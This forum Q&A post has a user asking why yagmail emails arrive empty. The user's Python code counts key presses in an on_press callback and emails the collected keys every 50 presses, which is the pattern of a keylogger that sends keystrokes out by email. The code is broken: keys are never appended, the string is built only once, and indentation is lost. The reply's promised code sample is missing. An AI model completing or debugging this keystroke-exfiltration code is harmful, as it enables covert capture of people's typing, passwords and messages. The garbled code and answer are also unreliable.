So I am trying to send mails with yagmail in Python and I have an array or list I want to send. And when i get the mail there's no content inside it. Why's that?
import yagmail
keys = []
listToStr = ' '.join([str(elem) for elem in keys])
def send(keys):
print('test')
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', listToStr)
def on_press(key):
global keys, count
count += 1
if count >= 50:
count = 0
send(keys)
keys = []
So you need to understand a few thing before sending emails through
yagmail:yagmailis a wrapper library on top ofsmtplib, which is a standard lib for sending emails through python.Plain Text EmailorHTML emails. Your case looks more like aPlain text email.So, sending mails through
yagmailshould not functionally differ fromsmtplib.So, the code should be roughly like this:
This should send a plain email with text in
messageand{}replaced bylistToStr.Try the above and then break down your code in methods to achieve your funtionality.